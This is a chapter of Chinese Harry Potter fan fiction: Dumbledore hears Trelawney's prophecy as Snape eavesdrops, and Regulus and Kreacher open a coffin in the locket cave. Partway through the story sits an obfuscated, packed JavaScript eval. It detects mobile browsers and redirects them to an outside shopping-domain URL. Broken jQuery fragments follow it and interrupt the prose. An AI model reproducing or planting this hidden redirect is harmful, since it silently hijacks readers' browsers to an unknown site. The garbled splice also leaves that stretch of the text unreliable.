与此同时，位于霍格莫德的猪头酒吧内。
一楼的蒙面客人们都在享受各自的饮酒时光，在二楼的一个包厢里，卡座上一个头发乱蓬蓬的女人，脸被紫色的面纱遮住，正抚摸着水晶球低声絮絮叨叨地说着什么，坐在桌子对面的是一个有着银色长胡须的男人，他戴着尖顶的巫师帽，并没有蒙面，一副半月形眼镜架在鹰钩鼻梁上——虽然他表面上看上去是在很认真地听那个女巫的胡扯，但是抚摸着魔杖的右手已经暴露了他的不耐烦。
“西比尔，我很遗憾，恐怕我并不能录用你……”
那个银色胡须的开始说话了，他的声音很低，也很平静，话语中充满着对占卜这门课的十分不以为然。
“你说的那些所谓的预言，在我看来不过是你招摇撞骗的把戏，这次我同意来面试你，也不过是看在你已过世的祖母的面子上……现在看来，你还是换个职业吧。”
“什么？邓布利多教授，你大概是听别人说过我没有继承我曾曾祖母的天赋吧？这些谣言已经由嫉妒的人传播好几年了！你看我刚才的能力，难道不足以让你丢掉那些偏见吗？”
那个蒙面女巫叫西比尔·特里劳妮，她是卡桑德拉·特里劳妮的孙女，从霍格沃茨毕业两年多依旧找不到工作，听说邓布利多打算关闭占卜这门课，就约邓布利多在她下榻的旅馆求职，希望能让他保留这门课。
“西比尔，我确实深深地被打动了……但是我并不认为你能把‘预言’这个能力教给小巫师们——就像你说的，大多数人都没有预言的天赋，那么我猜测，他们在这门课上只会为了得个分数胡编乱造，而学不到真正的学问。”
“你……你怎么能这么说！”特里劳妮一把扯下了面纱，露出了一副厚瓶底一样的眼镜，把她因为难以置信而瞪大的眼睛衬托得格外大。
“我很抱歉，我想占卜这门课确实应该被关闭了。”邓布利多礼貌地站起身，但是刚刚说话还轻声细语的特里劳妮忽然语气就变了，她用一个不熟悉的、响亮而嘶哑的声音在邓布利多准备离去时说起话来——“拥有征服黑魔头能量的人走近了——”
邓布利多惊讶地转过头，他看到特里劳妮僵在卡座里，目光散漫，下巴下垂，眼镜后面的眼睛不自然地转动，似乎被附身了。特里劳妮又继续说话了，仍旧是那种嘶哑的声音，和她自己的很不相像。
“……有着一半纯血和一半麻瓜的血统……在第七月的最后一天……它是黑魔王的劲敌——”
这时，门外一阵骚动，随即“砰”的一声，门被大力撞开了。
阿不福思（但是特里劳妮和斯内普都不知道他是阿不福思）揪着一个瘦削的、有着油亮头发的青年的衣领，对邓布利多说道：“哥哥，这个人一直在楼梯口窃听！你都没发现？”
“西弗勒斯·斯内普？”
“你误会了！”斯内普从酒吧招待手里扯回衣服，冲着邓布利多大声喊道，“我只是上错了楼梯！上错楼梯而已！”
邓布利多朝阿不福思使了一个眼色，阿不福思立马又拽住斯内普，将他拖下了楼梯。
随着门被重新关上，邓布利多转身坐下。特里劳妮依旧呈现一个被附身的状态，刚才的插曲打断了她的话，但是当房间恢复安静之后那个不属于她的声音就继续开口了。
“它是黑魔王的劲敌……并且拥有黑魔头所不了解的能量……黑魔王对它无可奈何……那是他最不想见到的人。拥有征服黑魔头能量的人走近了……”
接下来的话就是重复的预言。很快，特里劳妮的脑袋垂到胸前，然后她哼了一声，很突然地，她的脑袋“啪”的一下又抬了起来。
“抱歉，邓布利多教授——刚刚发生什么事了？我好像看到了那个酒吧招待和斯内普？”她像在梦中似的说，“夏天了，白天太热，其实我中午都没吃什么……你知道——我睡着了一会儿……”
“没什么大事。”邓布利多依旧是温和且有礼的样子，“西弗勒斯只是上错了楼梯。”
“他才不是！”特里劳妮反驳道，“其实我早就注意到他在门外偷着钥匙孔偷听了！他现在也在找工作，大概是想通过我学习一些经验……”
邓布利多却没有再对这件事多做什么评价，“我改变主意了，西比尔。”他说，“我决定继续开设占卜课，并且聘请你来当霍格沃茨的占卜课老师……”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12941990|135277||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“真的？果然，我就知道你是不会听取那些谣言的！”特里劳妮高兴地站了起来，丝毫没注意到邓布利多蓝眼睛中闪过的担忧。
“是的，西比尔。我说话算数。”他说，“不过你可不可以把今天做预言的这个预言球留给我？”
“噢，噢。没问题，我是说，当然可以！”特里劳妮依旧沉浸在被录用的欣喜当中，“拿去吧，邓布利多教授，我很高兴有人能够欣赏我的真才实学。”
*
从德文郡一路回到伦敦，时间已经到了7月的最后一天。
雷古勒斯和克利切站在位于岩洞内部最中间的小岛上，石盆里的毒药闪烁着绿莹莹的光。
雷古勒斯伸出修长的右手尝试触碰那个挂坠盒，但是很显然，静电一样的魔法把他的手弹开了。
“果然如此。”雷古勒斯呼出一口气，垂头丧气地开口。“还是先找到凯瑟琳吧——克利切，帮我找到凯瑟琳的尸体具体在哪个位置。”
“克利切遵命！”那个小精灵绕着湖心岛转了一圈，然后对雷古勒斯说，“主人雷古勒斯，克利切发现凯瑟琳的尸体就在黑色石板的下面。”
“很好。”雷古勒斯说道，然后他又像刚刚尝试走近洞口那样，摸索了一番，然后拔出魔杖再次割破左手手臂，将血撒在石盆上，魔药像是被煮沸了一样发出“滋滋”的声音，雷古勒斯没有停下，他对着石盆又施展了几个咒语，然后用英文说道：“打开。”
随着话音落下，石盆被移开，黑色的石板下陷，露出一个深坑，一个黑色的棺材从地底下浮了上来，然后棺材盖自动弹开——里面躺着一个穿着白裙子的少女，只是比他母亲沃尔布加记忆中的样子更年长一些，也更瘦，那是她在死前饱受病痛折磨的证据。不过由于她哥哥魔法的维持，这些年她和沉睡没什么两样，只是指甲长长了一些，乌黑的波发也长到了膝盖处。
雷古勒斯从斗篷口袋里掏出尼可·勒梅用魔法石熬制的魔药，将它们灌入凯瑟琳的口中。
当白雪公主吞下毒苹果陷入沉睡，路过的王子拯救了她。
——但是谁知道这个王子究竟爱的是白雪公主，还是为了其他的利益呢？